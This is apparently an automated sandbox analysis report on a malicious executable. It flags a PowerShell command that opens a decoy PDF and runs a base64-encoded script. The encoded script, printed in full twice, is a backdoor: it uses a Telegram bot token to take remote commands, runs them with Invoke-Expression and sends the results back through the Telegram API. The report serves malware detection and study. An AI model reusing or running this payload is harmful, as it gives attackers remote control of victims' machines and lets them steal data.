Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 1 source: powershell.exe, 00000004.00000002.4214181744.000001D5D74C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000004.00000002.4214181744.000001D5D74C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ConsoleApplication5\x64\Release\ConsoleApplication5.pdb source: 12.exe

Source: 12.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 12.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 12.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 12.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 12.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVA
Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVA			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B2B75 push ds; iretd	4_2_00007FFD9B8B2B76
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B2BAF push ds; iretd	4_2_00007FFD9B8B2BB0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B2B0A push ds; iretd	4_2_00007FFD9B8B2B0B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B30E8 push ds; iretd	4_2_00007FFD9B8B30E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B3122 push ds; iretd	4_2_00007FFD9B8B3123
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B3042 push ds; iretd	4_2_00007FFD9B8B3043
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B2F62 push ds; iretd	4_2_00007FFD9B8B2F6B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B2FA3 push ds; iretd	4_2_00007FFD9B8B2FA5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B37DC push ds; iretd	4_2_00007FFD9B8B37DD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B36F8 push ds; iretd	4_2_00007FFD9B8B36FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B36BC push ds; iretd	4_2_00007FFD9B8B36BD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B2EC5 push ds; iretd	4_2_00007FFD9B8B2EC6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8AB6C2 push ds; iretd	4_2_00007FFD9B8AB6D2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B2DE5 push ds; iretd	4_2_00007FFD9B8B2DE6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B364E push ds; iretd	4_2_00007FFD9B8B364F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8A7567 push ebx; iretd	4_2_00007FFD9B8A756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B35A3 push ds; iretd	4_2_00007FFD9B8B35A5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B2D42 push ds; iretd	4_2_00007FFD9B8B2D43
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8B2C5E push ds; iretd	4_2_00007FFD9B8B2C5F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B975D8F push ds; iretd	4_2_00007FFD9B975D91
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B975CCB push ds; iretd	4_2_00007FFD9B975CCD

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
